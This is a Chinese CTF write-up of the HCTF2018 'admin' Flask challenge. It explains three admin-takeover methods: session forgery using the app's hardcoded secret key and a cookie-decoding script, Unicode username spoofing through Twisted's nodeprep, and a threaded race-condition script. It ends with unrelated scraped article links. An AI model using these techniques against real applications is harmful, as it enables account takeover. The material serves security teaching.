HCTF2018-admin
记录一道比较有意思的题目,对于萌新来说能学到很多东西orz。。
三种解法:
1:
flask session 伪造
2:
unicode欺骗
3:
条件竞争
注册账户查看源码:
发现提示,根据提示和题目名估计要让我们登录admin用户就可以得到flag。
在change password页面查看源码,发现提供了题目的源码地址
发现是用flask写的,我们就直接去看一下路由,
打开route.py,看一下index的注册函数代码
@app.route('/')
@app.route('/index')def index():
return render_template('index.html', title = 'hctf')
发现index注册函数没做什么处理,直接返回index.html渲染模版,于是我们看一下templates/index.html代码
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin --><h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}
发现真的是要登录成admin才能得到flag。于是继续看向route.py文件,看看login和change password的注册函数处理代码是怎么写的。route.py部分函数代码如下
@app.route('/register', methods = ['GET', 'POST'])def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
@app.route('/login', methods = ['GET', 'POST'])def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/logout')def logout():
logout_user()
return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
开始代码审计:
解法一 —— flask session 伪造
flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
我们首先对我们随便注册的账号SESSION进行解密 python exp.py ""

解密脚本如下:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY,在github源码里找找,可以在config.py里发现下面代码
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
估计ckj123就是SECRET_KEY,所以session伪造这条路可行,于是到github上面找找看有没有flask session加密的脚本。

脚本有解密、加密两种功能,具体用法如下
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式解密功能演示如下,把我们登录成功页面的cookie的session复制下来,.eJw9kE-LwjAUxL_K8s4e0j_iInjYJVoqvISWtJJciltrmzRxoSp1K373zbrgbWDe-zEzd6iOQ3PuYHkZrs0MKn2A5R3evmAJiuZOmvWIorPosoiJUiMtezmlN2aYlVNBGE3nXKQToxlhpiAqKX7QbA2ag5GiM5y2AROSYIgB2xU3KbJIOtVh8qeLkdE6lqKeM7HVuFvHXFj_s_b83Miw1Mp01t8RpG0kd9nE6UZzWoQYMp9l2ythnRTpCh4zqM_Dsbp8983pVYFTjDHMPQZHaTZGJcrrT4eiHeXUEjS9r9WHPCktTm3g40bsY_XEabdvmxcpNxgfxn_ntHfeAKeHfW2bxeIdZnA9N8NzPAgIPH4BSzZuKg.XPPM0g.R-SQaZ-c92TXQB_37gFu8JabVUs,然后放进脚本参数位置,如下图。

将session替换刷新页面即可获得flag

解法二 —— Unicode欺骗
这个解法好像才是这个题目想要考查的点,我们可以发现,不管是login、register还是change页面,只要是关于session['name']的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower,这里重写了一个,可能有点猫腻,于是找到strlower函数的定义
def strlower(username):
username = nodeprep.prepare(username)
return username
这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2),版本差距这么大,估计是存在什么漏洞,
于是搜索一下nodeprep.prepare,找到一篇unicode安全的文章,
https://paper.tuisec.win/detail/a9ad1440249d95b
这里原理就是利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。
解法三 —— 条件竞争
仔细观察源码,可以发现login函数和change函数都在没有完全check身份的情况下,执行了session有关的赋值
我们可以这样设想,一个进程以正常账号一直依次进行登录、改密码操作,另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时,进程2进行到登录操作,这个时候进程1需要从session中取出name,而进程2此时把session['name']改成了admin。所以就可以编写脚本进行条件竞争,条件竞争结束的标志为进程2登录操作成功,即重定向到/index。
脚本如下:
import threading
import requests
import time
def login(s,username,password):
data = {
'username':username,
'password':password,
'submit':''
}
r = s.post('http://13x.xx7.xx.xxx:9999/login',data=data)
return r
def logout(s):
s.get('http://13x.xx7.xx.xxx:9999/logout')
def change_pwd(s,newpass):
data = {
'newpassword':newpass
}
s.post('http://13x.xx7.xx.xxx:9999/change',data=data)
def func1(s):
try:
login(s,'Miracle778','Miracle778')
change_pwd(s,'Miracle778')
except Exception:
pass
def func2(s):
try:
logout(s)
r = login(s,'admin','Miracle778')
if '<a href="/index">/index</a>' in r.text:
print(r.text)
exit(0)
except Exception:
pass
for i in range(10000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1,args=(s,))
t2 = threading.Thread(target=func2,args=(s,))
t2.start()
t1.start()
参考链接:
https://www.jianshu.com/p/f92311564ad0
HCTF2018-admin的更多相关文章
- Django admin定制化,User字段扩展[原创]
前言 参考上篇博文,我们利用了OneToOneField的方式使用了django自带的user,http://www.cnblogs.com/caseast/p/5909248.html , 但这么用 ...
- Django admin美化插件suit应用[原创]
前言 由于比较懒,自己弄了一个用户验证,没有自己写后台,用了django自带的user认证,并通过admin直接进行管理,但默认的admin并不漂亮,于是使用了这个django-suit插件,效果对比 ...
- OpenStack Mitaka 版本中的 domain 和 admin
OpenStack 的 Keystone V3 中引入了 Domain 的概念.引入这个概念后,关于 admin 这个role 的定义就变得复杂了起来. 本文测试环境是社区 Mitaka 版本. 1. ...
- Django Admin
//设置admin列表名称 def __str__(self): return u'%s' % self.name class Meta: db_table ="数据库的那个表" ...
- Django基础,Day3 - 编写 django admin
Django 自带了一个简易编辑后台,可以称为"内容发布器",一般是提供给站点管理员使用的,其最开始也是开发出来提供给报社编辑和发布新闻使用的. 创建超级管理员: $ python ...
- SB Admin 2 学习笔记1
需要掌握能够搭建起一个 dashboard 的能力, 因为很少有运维开发团队有专职的前端, bootstrap 也要讲个基本法. SB Admin 2, 一个免费的 bootstrap theme, ...
- 【Django】--Models 和ORM以及admin配置
Models 数据库的配置 1 django默认支持sqlite,mysql, oracle,postgresql数据库 <1>sqlite django默认使用sqlite的数据库 ...
- Django admin 权威指南(一)
版本: Django 1.10 此部分由官方文档<6.5.1 The Django admin site>翻译而来. 6.5.1.1 概览 默认情况下,使用startproject的时候, ...
- 【原创】kafka admin源代码分析
admin包定义了命令行的一些实现 一.AdminOperationException.scala 一个异常类,表示执行admin命令时候抛出的异常 二.AdminUtils.scala admin一 ...
- [django]Django站点admin支持中文显示和输入设置
正文: Django站点admin支持中文输入设置,操作如下: 1 需要确定的你的数据库的client客户端和服务端的编码设置为utf-8,如果不是,请将其设置成utf-8编码,我采用mysql,详情 ...
随机推荐
- GNS3 模拟icmp分片不可达
R1 : conf t int f0/0 no shutdown ip add 192.168.1.1 255.255.255.0 no ip routing end R2 f0/0: conf t ...
- node - 获取当前时间并格式化
1,安装 moment模块 cnpm i moment --save 2,引入 var moment = require('moment'); 3,获取当前时间并格式化 var current_tim ...
- Redis 详解 (二) redis的配置文件介绍
目录 1.开头说明 2.INCLUDES 3.MODULES 4.NETWORK 5.GENERAL 6.SNAPSHOTTING 7.REPLICATION 8.SECURITY 9.CLIENTS ...
- [Machine Learning][BP]The Vectorized Back Propagation Algorithm
Reference: https://www.cs.swarthmore.edu/~meeden/cs81/s10/BackPropDeriv.pdf I spent nearly one hour ...
- Python 比较 相等性 真值
1 == 操作符测试 值 的相等性: is 测试对象的一致性.注意短字符串的is相等性测试,PVM会缓存短字符串,s1 is s2 将返回true. 2 false:"", [], ...
- 实验吧-隐写术-刷新 刷新 快刷新(f5-steganography)
题目:刷新 刷新 快刷新 其实这就算是很好的提示了,刷新的时候就是F5嘛,这个题就是F5隐写,用f5-steganography来解题. 题中的图片: f5-steganography下载链接:htt ...
- 浏览器输入URL后,发生了什么?(打开一个网页会使用哪些协议?)
简单说来分为6个过程 1.DNS解析 互联网每一个服务器都是以ip地址作为界限的,并不是我们平时输入的url地址,就比如www.ccc.com这一个网址,当输入进浏览器之后就会由DNS解析将它转化成一 ...
- java嵌套循环练习
打印一个等腰三角形 package com.lv.jj; import java.util.Scanner; public class DemoDy { public static void main ...
- 【LeetCode】解码方法
[问题] 一条包含字母 A-Z 的消息通过以下方式进行了编码:'A' -> 1'B' -> 2…'Z' -> 26给定一个只包含数字的非空字符串,请计算解码方法的总数. 示例 : 输 ...
- 三十、CI框架之使用cookies实现用户登录和退出。
一.在控制器中,写入3个函数.一个是login用于登录,一个是logout用于退出,一个show用来展示界面. login代码如下: logout和showuser函数如下: 二.我们的登录界面 三. ...